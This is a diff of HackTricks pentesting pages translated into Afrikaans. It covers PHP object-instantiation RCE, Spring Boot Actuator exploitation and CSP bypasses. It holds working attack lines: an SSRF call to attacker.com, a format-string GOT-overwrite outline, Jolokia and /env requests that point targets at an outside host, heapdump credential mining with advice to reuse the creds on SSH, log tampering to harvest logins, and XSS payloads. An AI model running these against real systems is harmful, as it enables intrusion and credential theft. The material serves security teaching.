-## RCE via Ingeboude klasse
+## RCE via ingeboude PHP-klasse
 
-As daar geen custom klasse of autoloaders is nie, kan **ingeboude PHP-klasse** volstaan vir RCE. Die aantal van hierdie klasse wissel tussen sowat 100 en 200, afhangend van die PHP-weergawes en geïnstalleerde extensies. Hulle kan gelys word met `get_declared_classes()`.
+As daar geen pasgemaakte klasse of autoloaders is nie, kan **ingeboude PHP-klasse** genoeg wees vir RCE. Die aantal van hierdie klasse wissel tussen ongeveer 100 en 200, afhangend van die PHP-weergawes en geïnstalleerde uitbreidings. Hulle kan opgelys word met `get_declared_classes()`.
 
-Konstruktors van belang kan geïdentifiseer word deur die reflection API, soos getoon in die volgende voorbeeld en die skakel [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
+Konstruktore van belang kan met die reflection API geïdentifiseer word, soos gewys in die volgende voorbeeld en die skakel [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
 
 **RCE via spesifieke metodes sluit in:**
 
 ### **SSRF + Phar Deserialization**
 
-Die `SplFileObject`-klas maak SSRF moontlik deur sy konstruktor en laat verbindings na enige URL toe:
+Die `SplFileObject` klas maak SSRF moontlik via sy konstruktor, wat verbindinge na enige URL toelaat:
 ```php
 new SplFileObject('http://attacker.com/');
 ```
-SSRF kan lei tot deserialization attacks in weergawes van PHP voor 8.0 wat die Phar-protokol gebruik.
+SSRF kan tot deserialization-aanvalle lei in weergawes van PHP voor 8.0 deur die Phar-protokol te gebruik.
 
-### **Exploiting PDOs**
+### **Uitbuiting van PDOs**
 
-Die PDO class constructor laat verbindings na databases toe via DSN strings, wat potensieel lêerskepping of ander interaksies moontlik maak:
+Die PDO class constructor laat verbindings na databasisse toe via DSN strings, wat moontlik lêercreatie of ander interaksies moontlik maak:
 ```php
 new PDO("sqlite:/tmp/test.txt")
 ```
 ### **SoapClient/SimpleXMLElement XXE**
 
-Weergawes van PHP tot 5.3.22 en 5.4.12 was vatbaar vir XXE-aanvalle via die `SoapClient` en `SimpleXMLElement` constructors, afhangend van die weergawe van libxml2.
+Weergawe van PHP tot en met 5.3.22 en 5.4.12 was kwesbaar vir XXE-aanvalle via die `SoapClient` en `SimpleXMLElement` konstruktors, afhangend van die weergawe van libxml2.
 
-## RCE via Imagick Extension
+## RCE via Imagick-uitbreiding
 
-In die ontleding van 'n **projek se afhanklikhede** is gevind dat **Imagick** aangewend kon word vir **command execution** deur nuwe objekte te instansieer. Dit bied 'n moontlikheid om kwesbaarhede te benut.
+In die ontleding van 'n **projek se afhanklikhede** is ontdek dat **Imagick** benut kan word vir **command execution** deur nuwe objekte te instansieer. Dit bied 'n geleentheid om kwesbaarhede uit te buit.
 
 ### VID parser
 
-Die VID parser se vermoë om inhoud na enige gespesifiseerde pad in die lêerstelsel te skryf is geïdentifiseer. Dit kan lei tot die plasing van 'n PHP shell in 'n web-beskikbare gids, wat Remote Code Execution (RCE) bewerkstellig.
+Die VID parser se vermoë om inhoud na enige gespesifiseerde pad in die lêerstelsel te skryf is geïdentifiseer. Dit kan lei tot die plaas van 'n PHP shell in 'n web-toeganklike gids, wat Remote Code Execution (RCE) bewerkstellig.
 
 #### VID Parser + File Upload
 
-Daar word opgemerk dat PHP tydelik opgelaaide lêers in `/tmp/phpXXXXXX` stoor. Die VID parser in Imagick, wat die **msl** protocol gebruik, kan wildcards in lêerpaaie hanteer, wat die oordrag van die tydelike lêer na 'n gekose ligging vergemaklik. Hierdie metode bied 'n addisionele manier om arbitrêre lêerskryf binne die lêerstelsel te bereik.
+Daar word aangetoon dat PHP opgelaaide lêers tydelik in `/tmp/phpXXXXXX` stoor. Die VID parser in Imagick, wat die **msl** protokol gebruik, kan jokertekens in lêerpaaie hanteer, wat die oordrag van die tydelike lêer na 'n gekose ligging vergemakel. Hierdie metode bied 'n addisionele manier om arbitrêre lêerskryf in die lêerstelsel te bereik.
 
 ### PHP Crash + Brute Force
 
-'n Metode beskryf in die [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) behels die oplaai van lêers wat 'n bedienercrash veroorsaak voordat hulle uitgevee word. Deur die naam van die tydelike lêer te brute-force, word dit moontlik vir Imagick om arbitrary PHP code uit te voer. Hierdie tegniek is egter slegs in 'n verouderde weergawe van ImageMagick effektief gevind.
+Metode beskryf in die [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) behels die oplaai van lêers wat 'n bedienercrash veroorsaak voordat hulle verwyder word. Deur die naam van die tydelike lêer te brute-forseer, word dit moontlik vir Imagick om arbitrêre PHP-kode uit te voer. Hierdie tegniek is egter slegs effektief in 'n verouderde weergawe van ImageMagick gevind.
 
 ## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
 
-Wanneer gebruikersinvoer die klasnaam beheer (bv. `new $_GET['model']()`), het PHP 7.0.0 'n tydelike fout ingestel tydens die `Throwable` refactor waar die engine per ongeluk die klasnaam as 'n printf-formaatstring tydens resolusie beskou het. Dit maak klassieke printf-styl primitiewe binne PHP moontlik: leaks met `%p`, skryf-tellingbeheer met breedtespesifiseerders, en arbitrary writes met `%n` teen in-proses wysigers (byvoorbeeld GOT-inskrywings op ELF-boues).
+Wanneer gebruikersinvoer die klasnaam beheer (bv. `new $_GET['model']()`), het PHP 7.0.0 'n tydelike fout ingevoer tydens die `Throwable` refaktorering waar die engine per ongeluk die klasnaam as 'n printf-formaatstring tydens resolusie beskou het. Dit maak klassieke printf-styl primitiewe binne PHP moontlik: leaks met `%p`, skryf-tellingbeheer met breedtespesifiseerders, en arbitrêre skrywes met `%n` teen in-proses wysigers (bv. GOT-inskrywings op ELF-bouings).
 
-Minimale repro kwesbare patroon:
+Minimale reproduseerbare kwesbare patroon:
 ```php
 <?php
 $model = $_GET['model'];
@@ -105,12 +105,12 @@ Exploitation outline (from the reference):
 curl "http://host/index.php?model=%p-%p-%p"
 # Fatal error includes resolved string with leaked pointers
 ```
-- Gebruik posisionele parameters en breedte-spesifiseerders om 'n presiese byte-telling te stel, gebruik dan `%n` om daardie waarde te skryf na 'n adres wat op die stapel bereikbaar is, mik na 'n GOT slot (bv. `free`) om dit gedeeltelik oor te skryf na `system`.
-- Activeer die gekaapte funksie deur 'n klasnaam te stuur wat 'n shell-pyp bevat om `system("id")` te bereik.
+- Gebruik positional parameters en width specifiers om 'n presiese byte-aantal te stel, en gebruik dan `%n` om daardie waarde na 'n adres op die stack te skryf, mik na 'n GOT slot (bv. `free`) om dit gedeeltelik met `system` oor te skryf.
+- Trigger die gekaapte funksie deur 'n klasnaam te stuur wat 'n shell pipe bevat om by `system("id")` uit te kom.
 
-Notas:
-- Werk slegs op PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); in latere weergawes gefikseerd. Ernstigheid: kritiek indien arbitrêre klasinstansiasie bestaan.
-- Tipiese payloads ketting baie `%p` om die stapel te deurloop, dan `%.<width>d%<pos>$n` om die gedeeltelike oor-skrywing te bewerkstellig.
+Notes:
+- Werk slegs op PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); reggestel in daarnae vrystellings. Ernstigheid: kritiek as arbitêre klasinstansiasie bestaan.
+- Tipiese payloads ketting baie `%p` om die stack te deurloop, en dan `%.<width>d%<pos>$n` om die gedeeltelike oor-skrywing te laat land.
 
 ## References
 

src/network-services-pentesting/pentesting-web/spring-actuators.md

@@ -10,26 +10,26 @@
 
 ## Exploiting Spring Boot Actuators
 
-**Kyk na die oorspronklike pos by** [**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
+**Check the original post from** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
 
 ### **Belangrike punte:**
 
-- Spring Boot Actuators registreer endpoints soos `/health`, `/trace`, `/beans`, `/env`, ens. In weergawes 1 tot 1.4 is hierdie endpoints toeganklik sonder outentisering. Vanaf weergawe 1.5 vorentoe is slegs `/health` en `/info` standaard nie-sensitief, maar ontwikkelaars skakel hierdie sekuriteit dikwels af.
+- Spring Boot Actuators registreer endpoints soos `/health`, `/trace`, `/beans`, `/env`, ens. In weergawes 1 tot 1.4 is hierdie endpoints toeganklik sonder verifikasie. Vanaf weergawe 1.5 af is slegs `/health` en `/info` standaard nie-sensitief, maar ontwikkelaars deaktiveer dikwels hierdie sekuriteit.
 - Sekere Actuator-endpoints kan sensitiewe data openbaar of skadelike aksies toelaat:
-- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, en `/heapdump`.
-- In Spring Boot 1.x word actuators geregistreer onder die root URL, terwyl in 2.x hulle onder die `/actuator/` basispad is.
+- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, and `/heapdump`.
+- In Spring Boot 1.x word actuators geregistreer onder die root-URL, terwyl in 2.x hulle onder die `/actuator/` basispad val.
 
 ### **Exploitation Techniques:**
 
 1. **Remote Code Execution via '/jolokia'**:
-- Die `/jolokia` actuator endpoint openbaar die Jolokia Library, wat HTTP-toegang tot MBeans toelaat.
-- Die `reloadByURL` aksie kan uitgebuit word om logging-konfigurasies vanaf 'n eksterne URL te herlaai, wat kan lei tot blind XXE of Remote Code Execution via gemanipuleerde XML-konfigurasies.
-- Voorbeeld exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
+- Die `/jolokia` actuator-endpoint openbaar die Jolokia Library, wat HTTP-toegang tot MBeans moontlik maak.
+- Die `reloadByURL` aksie kan uitgebuit word om logging-konfigurasies vanaf 'n eksterne URL te herlaai, wat kan lei tot blind XXE of Remote Code Execution via geskepte XML-konfigurasies.
+- Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
 2. **Config Modification via '/env'**:
 
-- As Spring Cloud Libraries teenwoordig is, laat die `/env` endpoint die wysiging van omgewings-eienskappe toe.
-- Eienskappe kan gemanipuleer word om kwesbaarhede uit te buit, soos die XStream deserialisasie-kwetsbaarheid in die Eureka serviceURL.
-- Voorbeeld exploit POST-versoek:
+- As Spring Cloud Libraries teenwoordig is, laat die `/env` endpoint toe dat omgewings-eienskappe gewysig word.
+- Eienskappe kan gemanipuleer word om kwesbaarhede te benut, soos die XStream deserialisasie-kwesbaarheid in die Eureka serviceURL.
+- Example exploit POST request:
 
 ```
 POST /env HTTP/1.1
@@ -40,18 +40,18 @@ Content-Length: 65
 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
 ```
 
-3. **Other Useful Settings**:
-- Eienskappe soos `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, en `spring.datasource.tomcat.max-active` kan gemanipuleer word vir verskeie eksploite, soos SQL injection of die verandering van database-verbindingstringe.
+3. **Ander nuttige instellings**:
+- Eienskappe soos `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, en `spring.datasource.tomcat.max-active` kan gemanipuleer word vir verskeie exploits, soos SQL injection of die verandering van databasis-verbindingstringe.
 
 ### **Bykomende inligting:**
 
-- 'n Omvattende lys van standaard actuators is hier te vind [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
-- Die `/env` endpoint in Spring Boot 2.x gebruik JSON-formaat vir eienskapwysiging, maar die algemene konsep bly dieselfde.
+- 'n Omvattende lys van default actuators is te vind [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
+- Die `/env` endpoint in Spring Boot 2.x gebruik JSON-formaat vir eienskap-wysigings, maar die algemene konsep bly dieselfde.
 
-### **Gekoppelde onderwerpe:**
+### **Verwante onderwerpe:**
 
 1.  **Env + H2 RCE**:
-- Besonderhede oor die uitbuiting van die kombinasie van die `/env` endpoint en die H2-databasis is hier te vind [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
+- Details on exploiting the combination of `/env` endpoint and H2 database can be found [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
 
 2.  **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
 - Die Spring-framework se hantering van matrix-parameters (`;`) in HTTP-padname kan uitgebuit word vir Server-Side Request Forgery (SSRF).
@@ -61,9 +61,9 @@ GET ;@evil.com/url HTTP/1.1
 Host: target.com
 Connection: close
 ```
-## HeapDump secrets mining (credentials, tokens, internal URLs)
+## HeapDump geheime myning (credentials, tokens, internal URLs)
 
-As `/actuator/heapdump` blootgestel is, kan jy gewoonlik 'n volledige JVM heap snapshot kry wat gereeld live secrets bevat (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, ens.).
+As `/actuator/heapdump` blootgestel is, kan jy gewoonlik 'n volledige JVM heap snapshot kry wat dikwels live secrets bevat (DB creds, API keys, Basic-Auth, interne service-URL's, Spring property maps, ens.).
 
 - Download en vinnige triage:
 ```bash
@@ -75,31 +75,31 @@ printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
 ```
 
 - Dieper analise met VisualVM en OQL:
-- Open heapdump in VisualVM, ondersoek instances van `java.lang.String` of hardloop OQL om secrets te soek:
+- Open heapdump in VisualVM, inspekteer instances van `java.lang.String` of hardloop OQL om secrets te jaag:
 ```
 select s.toString()
 from java.lang.String s
 where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
 ```
 
-- Outomatiese ekstraksie met JDumpSpider:
+- Geautomatiseerde ekstraksie met JDumpSpider:
 ```bash
 java -jar JDumpSpider-*.jar heapdump
 ```
 Tipiese hoë-waarde bevindinge:
-- Spring `DataSourceProperties` / `HikariDataSource` objekte wat `url`, `username`, `password` openbaar maak.
-- `OriginTrackedMapPropertySource` inskrywings wat `management.endpoints.web.exposure.include`, dienspoorte, en ingebedde Basic-Auth in URLs (bv., Eureka `defaultZone`) openbaar.
-- Plain HTTP versoek/antwoord fragmente insluitend `Authorization: Basic ...` vasgevang in geheue.
+- Spring `DataSourceProperties` / `HikariDataSource` objekke wat `url`, `username`, `password` blootstel.
+- `OriginTrackedMapPropertySource` inskrywings wat `management.endpoints.web.exposure.include`, dienspoorte, en ingebedde Basic-Auth in URL's (bv. Eureka `defaultZone`) openbaar.
+- Platte HTTP request/response fragmente insluitend `Authorization: Basic ...` wat in geheue vasgevang is.
 
-Wenke:
-- Gebruik 'n Spring-gefokusde wordlist om actuator endpoints vinnig te ontdek (bv., SecLists spring-boot.txt) en kontroleer altyd of `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, en `/actuator/configprops` ook blootgestel is.
-- Credentials van heapdump werk dikwels vir aangrensende dienste en soms vir stelselgebruikers (SSH), probeer dit dus wyd.
+Wenk:
+- Gebruik 'n Spring-gefokusde woordlys om actuator endpoints vinnig te ontdek (bv. SecLists spring-boot.txt) en kontroleer altyd of `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, en `/actuator/configprops` ook blootgestel is.
+- Credentials uit heapdump werk dikwels vir aangrensende dienste en soms vir stelselsgebruikers (SSH), so probeer dit wyd.
 
-## Misbruik van Actuator loggers/logging om credentials te vang
+## Misbruik van Actuator loggers/logging om credentials vas te vang
 
-As `management.endpoints.web.exposure.include` dit toelaat en `/actuator/loggers` blootgestel is, kan jy dinamies logvlakke verhoog na DEBUG/TRACE vir pakkette wat authentication en request processing hanteer. Gekombineer met leesbare logs (via `/actuator/logfile` of bekende logpade), kan dit credentials leak wat tydens login-vloei ingedien is (bv., Basic-Auth headers of form parameters).
+As `management.endpoints.web.exposure.include` dit toelaat en `/actuator/loggers` blootgestel is, kan jy dinamies logvlakke verhoog na DEBUG/TRACE vir pakkette wat authentication en request verwerking hanteer. Gekombineer met leesbare logs (via `/actuator/logfile` of bekende log-paaie) kan dit credentials lek wat tydens login flows ingestuur is (bv. Basic-Auth headers of form parameters).
 
-- Listeer en verhoog sensitiewe loggers:
+- Enumereer en verhoog sensitiewe loggers:
 ```bash
 # List available loggers
 curl -s http://target/actuator/loggers | jq .
@@ -122,12 +122,11 @@ curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|user
 curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
 ```
 
-- Roep login/authentication-verkeer op en parse die log vir creds. In microservice-opstellings met 'n gateway voor auth, maak die inskakeling van TRACE vir gateway/security pakkette dikwels headers en form bodies sigbaar. Sommige omgewings genereer selfs sintetiese login-verkeer periodiek, wat oes baie eenvoudig maak sodra logging verbose is.
+- Trigger login/authentication verkeer en parse die log vir creds. In microservice-opstellings met 'n gateway voor auth, maak die aktivering van TRACE vir gateway/security pakkette dikwels headers en form bodies sigbaar. Sommige omgewings genereer selfs sintetiese login verkeer periodiek, wat oes maklik maak sodra logging verbose is.
 
 Notas:
-- Herstel logvlakke wanneer klaargemaak: `POST /actuator/loggers/<logger>` met `{ "configuredLevel": null }`.
-- As `/actuator/httpexchanges` blootgestel is, kan dit ook onlangse versoek-metadata oppervlakte wat sensitiewe headers kan insluit.
-
+- Stel logvlakke terug as jy klaar is: `POST /actuator/loggers/<logger>` met `{ "configuredLevel": null }`.
+- As `/actuator/httpexchanges` blootgestel is, kan dit ook onlangse request metadata oppervlakte wat sensitiewe headers mag insluit.
 
 ## References
 

src/pentesting-web/content-security-policy-csp-bypass/README.md

@@ -1,31 +1,31 @@
-# Content Security Policy (CSP) Bypass
+# Inhoudsveiligheidsbeleid (CSP) Bypass
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Wat is CSP
 
-Content Security Policy (CSP) word erken as 'n blaaier-tegnologie, hoofsaaklik bedoel om **te beskerm teen aanvalle soos cross-site scripting (XSS)**. Dit funksioneer deur te definieer watter paaie en bronne die blaaier veilig kan laai. Hierdie bronne sluit elemente soos beelde, frames en JavaScript in. Byvoorbeeld kan 'n beleid die laai en uitvoering van bronne vanaf dieselfde domein (`self`) toelaat, insluitend inline-bronne en die uitvoering van string-kode deur funksies soos `eval`, `setTimeout`, of `setInterval`.
+Content Security Policy (CSP) word erken as 'n blaaier-tegnologie, hoofsaaklik gerig op **beskerming teen aanvalle soos cross-site scripting (XSS)**. Dit funksioneer deur paaie en bronne te definieer en te beskryf waarvan hulpbronne veilig deur die blaaier gelaai kan word. Hierdie hulpbronne sluit 'n reeks elemente in soos beelde, frames en JavaScript. Byvoorbeeld, 'n beleid kan die laai en uitvoering van hulpbronne vanaf dieselfde domein (self) toelaat, insluitend inline-hulpbronne en die uitvoering van string-kode deur funksies soos `eval`, `setTimeout`, of `setInterval`.
 
-Die implementering van CSP word gedoen deur middel van **response headers** of deur **meta-elemente in die HTML-bladsy** in te sluit. Volgens hierdie beleid dwing blaaiers hierdie bepalings af en blokkeer onmiddellik enige opgespoorde oortredings.
+Die implementering van CSP gebeur deur middel van **response headers** of deur **meta-elemente in die HTML-bladsy** in te sluit. Blaaiers handhaaf hierdie beleid proaktief en blokkeer onmiddellik enige opgespoorde oortredings.
 
 - Geïmplementeer via response header:
 ```
 Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
 ```
-- Geïmplementeer via meta-tag:
+- Geïmplementeer via meta tag:
 ```xml
 <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
 ```
-### Kopstukke
+### Headers
 
-CSP kan afgedwing of gemonitor word met behulp van hierdie kopstukke:
+CSP kan afgedwing of gemonitor word met behulp van hierdie headers:
 
 - `Content-Security-Policy`: Dwing die CSP af; die blaaier blokkeer enige oortredings.
-- `Content-Security-Policy-Report-Only`: Word gebruik vir monitering; rapporteer oortredings sonder om dit te blokkeer. Ideaal vir toetsing in voorproduksie-omgewings.
+- `Content-Security-Policy-Report-Only`: Word gebruik vir monitering; rapporteer oortredings sonder om dit te blokkeer. Ideaal vir toetsing in pre-produksie omgewings.
 
-### Definieer hulpbronne
+### Defining Resources
 
-CSP beperk die oorspronge wat beide aktiewe en passiewe inhoud laai, en beheer aspekte soos inline JavaScript-uitvoering en die gebruik van `eval()`. 'n Voorbeeldbeleid is:
+CSP beperk die oorspronge vir die laai van beide aktiewe en passiewe inhoud, en beheer aspekte soos inline JavaScript-uitvoering en die gebruik van `eval()`. 'n Voorbeeldbeleid is:
 ```bash
 default-src 'none';
 img-src 'self';
@@ -39,38 +39,37 @@ object-src 'none';
 ```
 ### Direktiewe
 
-- **script-src**: Laat spesifieke bronne vir JavaScript toe, insluitend URL's, inline scripts, en scripts wat deur event handlers of XSLT-stylesheets geaktiveer word.
-- **default-src**: Stel 'n standaardbeleid vir die haal van hulpbronne in wanneer spesifieke fetch-direktiewe afwesig is.
-- **child-src**: Spesifiseer toegelate hulpbronne vir web workers en ingebedde frame-inhoud.
-- **connect-src**: Beperk URL's wat gelaai kan word deur interfeise soos fetch, WebSocket, XMLHttpRequest.
-- **frame-src**: Beperk URL's vir frames.
-- **frame-ancestors**: Spesifiseer watter bronne die huidige bladsy kan inkorporeer, toepaslik op elemente soos `<frame>`, `<iframe>`, `<object>`, `<embed>`, en `<applet>`.
-- **img-src**: Definieer toegelate bronne vir beelde.
+- **script-src**: Laat spesifieke bronne toe vir JavaScript, insluitende URL's, inline scripts, en skripte wat deur event handlers of XSLT-stylbladsye geaktiveer word.
+- **default-src**: Stel 'n standaardbeleid vir die haal van hulpbronne wanneer spesifieke fetch-direktiewe ontbreek.
+- **child-src**: Spesifiseer toegelate hulpbronne vir web workers en ingebedde raam-inhoud.
+- **connect-src**: Beperk URL's wat via interfaces soos fetch, WebSocket, XMLHttpRequest gelaai kan word.
+- **frame-src**: Beperk URL's vir rame.
+- **frame-ancestors**: Spesifiseer watter bronne die huidige bladsy kan insluit, van toepassing op elemente soos `<frame>`, `<iframe>`, `<object>`, `<embed>`, en `<applet>`.
+- **img-src**: Bepaal toegelate bronne vir beelde.
 - **font-src**: Spesifiseer geldige bronne vir fonts wat met `@font-face` gelaai word.
-- **manifest-src**: Definieer toegelate bronne van applikasie-manifestlêers.
-- **media-src**: Definieer toegelate bronne vir die laai van media-objekte.
-- **object-src**: Definieer toegelate bronne vir `<object>`, `<embed>`, en `<applet>`-elemente.
-- **base-uri**: Spesifiseer toegelate URL's vir laai met `<base>`-elemente.
-- **form-action**: Lys geldige endpunte vir vormsindienings.
-- **plugin-types**: Beperk mime-tipes wat 'n bladsy mag aanroep.
+- **manifest-src**: Bepaal toegelate bronne van toepassings-manifestlêers.
+- **media-src**: Bepaal toegelate bronne vir die laai van media-objekte.
+- **object-src**: Bepaal toegelate bronne vir `<object>`, `<embed>`, en `<applet>`-elemente.
+- **base-uri**: Spesifiseer toegelate URL's vir laai via `<base>`-elemente.
+- **form-action**: Lys geldige eindpunte vir formulierindienings.
+- **plugin-types**: Beperk mime-tipes wat 'n bladsy kan aanroep.
 - **upgrade-insecure-requests**: Beveel browsers om HTTP-URL's na HTTPS te herskryf.
 - **sandbox**: Pas beperkings toe soortgelyk aan die sandbox-atribuut van 'n `<iframe>`.
-- **report-to**: Spesifiseer 'n groep waarheen 'n verslag gestuur sal word indien die beleid oortree word.
-- **worker-src**: Spesifiseer geldige bronne vir Worker-, SharedWorker- of ServiceWorker-skripte.
-- **prefetch-src**: Spesifiseer geldige bronne vir hulpbronne wat gehaal of vooraf gelaai sal word.
-- **navigate-to**: Beperk die URL's waarna 'n dokument op enige wyse kan navigeer (a, form, window.location, window.open, ens.)
+- **report-to**: Spesifiseer 'n groep waaraan 'n verslag gestuur word as die beleid oortree word.
+- **worker-src**: Spesifiseer geldige bronne vir Worker, SharedWorker of ServiceWorker-skripte.
+- **prefetch-src**: Spesifiseer geldige bronne vir hulpbronne wat gefetch of geprefetch sal word.
+- **navigate-to**: Beperk die URL's waarna 'n dokument op enige wyse kan navigeer (a, form, window.location, window.open, etc.)
 
 ### Bronne
 
 - `*`: Laat alle URL's toe behalwe dié met `data:`, `blob:`, `filesystem:` skemas.
-- `'self'`: Laat laai toe vanaf dieselfde domein.
-- `'data'`: Laat hulpbronne toe om via die data-skema gelaai te word (bv. Base64-gekodeerde beelde).
+- `'self'`: Laat laai vanaf dieselfde domein toe.
+- `'data'`: Laat hulpbronne deur die data-skemas gelaai word (bv. Base64-geënkodeerde beelde).
 - `'none'`: Blokkeer laai vanaf enige bron.
-- `'unsafe-eval'`: Laat die gebruik van `eval()` en soortgelyke metodes toe; nie aanbeveel vir sekuriteitsredes nie.
+- `'unsafe-eval'`: Laat gebruik van `eval()` en soortgelyke metodes toe; nie aanbeveel vir sekuriteitsredes nie.
 - `'unsafe-hashes'`: Skakel spesifieke inline event handlers in.
-- `'unsafe-inline'`: Laat die gebruik van inline hulpbronne toe, soos inline `<script>` of `<style>`; nie aanbeveel vir sekuriteitsredes nie.
-- `'nonce'`: 'n witlys vir spesifieke inline scripts wat 'n kriptografiese nonce gebruik (nommer een keer gebruik).
-
+- `'unsafe-inline'`: Laat gebruik van inline hulpbronne soos inline `<script>` of `<style>` toe; nie aanbeveel vir sekuriteitsredes nie.
+- `'nonce'`: 'n witlys vir spesifieke inline skripte wat 'n kriptografiese nonce gebruik (eenmalig gebruik).
 - If you have JS limited execution it's possible to get a used nonce inside the page with `doc.defaultView.top.document.querySelector("[nonce]")` and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn't needed), like in:
 
 <details>
@@ -89,16 +88,16 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
 ```
 </details>
 
-- `'sha256-<hash>'`: Voeg skripte met 'n spesifieke sha256-hash by die witlys.
-- `'strict-dynamic'`: Maak dit moontlik om skripte van enige bron te laai as dit deur 'n nonce of hash op die witlys geplaas is.
-- `'host'`: Spesifiseer 'n spesifieke gasheer, soos `example.com`.
-- `https:`: Beperk URL's tot dié wat HTTPS gebruik.
-- `blob:`: Laat hulpbronne vanaf Blob-URL's laai (bv. Blob-URL's geskep via JavaScript).
-- `filesystem:`: Laat hulpbronne vanaf die lêerstelsel laai.
-- `'report-sample'`: Sluit 'n voorbeeld van die oortredende kode in die oortredingsverslag in (nuttig vir foutopsporing).
-- `'strict-origin'`: Gelyk aan 'self', maar verseker dat die protokol-sekuriteitsvlak van die bronne by die dokument pas (slegs veilige oorspronge kan hulpbronne vanaf veilige oorspronge laai).
-- `'strict-origin-when-cross-origin'`: Stuur volledige URL's wanneer dieselfde-oorsprong versoeke gemaak word, maar stuur slegs die oorsprong wanneer die versoek kruis-oorsprong is.
-- `'unsafe-allow-redirects'`: Laat hulpbronne laai wat dadelik na 'n ander hulpbron sal herlei. Nie aanbeveel nie, aangesien dit sekuriteit verswak.
+- `'sha256-<hash>'`: Witlys scripts met 'n spesifieke sha256-hash.
+- `'strict-dynamic'`: Laat scripts van enige bron toe as dit deur 'n nonce of hash op die witlys geplaas is.
+- `'host'`: Bepaal 'n spesifieke host, soos `example.com`.
+- `https:`: Beperk URL'e tot dié wat HTTPS gebruik.
+- `blob:`: Laat hulpbronne toe om vanaf Blob-URL's gelaai te word (bv. Blob-URL's geskep via JavaScript).
+- `filesystem:`: Laat hulpbronne toe om vanaf die filesystem gelaai te word.
+- `'report-sample'`: Sluit 'n voorbeeld van die oortredende kode in die oortredingsverslag in (nuttig vir debugging).
+- `'strict-origin'`: Soortgelyk aan 'self' maar verseker dat die protokol-sekuriteitsvlak van die bronne ooreenstem met dié van die dokument (slegs veilige oorspronge kan hulpbronne vanaf veilige oorspronge laai).
+- `'strict-origin-when-cross-origin'`: Stuur volle URL'e vir same-origin-versoeke maar stuur slegs die oorsprong wanneer die versoek cross-origin is.
+- `'unsafe-allow-redirects'`: Laat hulpbronne toe wat onmiddellik na 'n ander hulpbron herlei. Nie aanbeveel nie aangesien dit sekuriteit verswak.
 
 ## Onveilige CSP-reëls
 
@@ -118,7 +117,7 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
 ### 'unsafe-eval'
 
 > [!CAUTION]
-> Dit werk nie, vir meer inligting [**kyk hier**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
+> Dit werk nie, vir meer inligting [**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
 ```yaml
 Content-Security-Policy: script-src https://google.com 'unsafe-eval';
 ```
@@ -128,7 +127,7 @@ Werkende payload:
 ```
 ### strict-dynamic
 
-As jy op een of ander manier 'n **allowed JS code created a new script tag** in die DOM met jou JS code kan laat skep, omdat 'n allowed script dit skep, sal die **new script tag will be allowed to be executed**.
+As jy op een of ander manier 'n **toegelate JS-kode 'n nuwe script tag in die DOM met jou JS-kode laat skep**, omdat 'n toegelate script dit skep, sal die **nuwe script tag toegelaat word om uitgevoer te word**.
 
 ### Wildkaart (\*)
 ```yaml
@@ -141,7 +140,7 @@ Werkende payload:
 ```
 ### Gebrek aan object-src en default-src
 
-> [!CAUTION] > **Dit lyk asof dit nie meer werk nie**
+> [!CAUTION] > **Dit lyk of dit nie meer werk nie**
 ```yaml
 Content-Security-Policy: script-src 'self' ;
 ```
@@ -155,24 +154,24 @@ Werkende payloads:
 ```yaml
 Content-Security-Policy: script-src 'self';  object-src 'none' ;
 ```
-As jy 'n JS-lêer kan oplaai, kan jy hierdie CSP bypass:
+As jy 'n JS file kan upload, kan jy hierdie CSP omseil:
 
-Working payload:
+Werkende payload:
 ```html
 "/>'><script src="/uploads/picture.png.js"></script>
 ```
-Dit is egter hoogs waarskynlik dat die server die opgelaaide lêer **valideer** en slegs sal toelaat dat jy **'n bepaalde tipe lêers oplaai**.
+However, it's highly probable that the server is **valideer die opgelaaide lêer** en will only allow you to **'n bepaalde tipe lêers oplaai**.
 
